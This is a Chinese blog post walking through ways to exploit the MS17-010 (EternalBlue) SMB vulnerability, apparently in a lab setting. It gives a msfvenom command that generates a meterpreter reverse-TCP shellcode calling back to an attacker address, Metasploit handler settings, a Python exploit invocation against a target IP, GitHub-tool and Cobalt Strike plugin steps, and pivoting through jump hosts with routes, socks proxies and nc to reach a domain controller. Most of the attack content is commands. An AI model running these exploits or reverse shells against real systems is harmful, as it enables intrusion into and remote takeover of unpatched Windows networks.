MS17010利用方式

最新推荐文章于 2024-05-21 16:28:23 发布

天下是个小趴菜

最新推荐文章于 2024-05-21 16:28:23 发布

阅读量398

点赞数

文章标签：安全

本文链接：https://blog.csdn.net/qq_54030686/article/details/134033788

版权

MS17010利用方式

前提
445端口是否开放，以及是否存在防火墙
利用方式
一，MSF(老生常谈)
模块exploit/windows/smb/ms17_010_eternalblue
其余的模块需要命名管道，不一定可以用，此模块使用不成功时候，可以尝试使用其他模块。同一网段选择正反向payload均可，不同网段，建议使用正向payload
二，py脚本
生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.18 LPORT=1111 -f raw > shellcode

msf监听

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0,0,0,0
set lport 1111
run

运行py脚本

python3 ms17-010.py --host 192.168.0.28 --file shellcode

多运行几次py脚本即可接收到会话

三，py脚本（github地址）

1，首先安装库文件

pip3 install -r requirements.txt

到shellcode文件夹下
为shell_prep.sh添加权限并运行
输入y
输入攻击机的IP和端口
利用程序提供了两种方式(msf会话，cmd会话)，简单的说就是可以使用msf连接，也可以使用nc进行连接，接下来就是选择是否为分阶段执行，这里选择1进行使用
在这里插入图片描述
四，cs插件
添加插件,设置监听，由于这个插件是在已有的cs会话上建立的攻击，这里进行web投递进行攻击，获取主机普通用户权限，设置0延时

在这里插入图片描述
右键选择pwn–>ms17010 输入自己想要攻击的ip以及回连listener,attemps选择1，接受一次回连seesions即可

即可获取到system会话

内网环境利用
搭建域环境需要关闭防火墙，所以内网中的存在漏洞的主机均可直接利用
环境一
跳板机为linux

kali(192.168.157.13)
linux(192.168.157.34,192.168.183.120)
DC(192.168.183.130)

第一种方法，msf添加内网路由，payload选择正向，执行exploit/windows/smb/ms17_010_eternalblue
第二种方法，msf添加socks代理，使用proxychains运行py脚本，shellcode选择跳板机linux闲置端口进行cmd会话，上传正向exe并运行，msf连接即可

环境一
跳板机为win7

kali(192.168.157.13)
linux(192.168.157.34,192.168.183.120)
DC(192.168.183.130)

第一种方法，msf添加内网路由，payload选择正向，执行exploit/windows/smb/ms17_010_eternalblue
第二种方法，msf添加socks代理，上传nc至跳板机上，使用proxychains运行py脚本，shellcode选择跳板机linux闲置端口进行cmd会话，上传正向exe并运行，msf连接即可
第三种，cs方法，在跳板机上部署vpn，本地创建内网闲置主机ip网卡，创建监听，使用cs插件，在跳板机上攻击内网主机，listener选择自己新创建的ip地址即可
演示
部署vpn 在这里插入图片描述
添加主机ip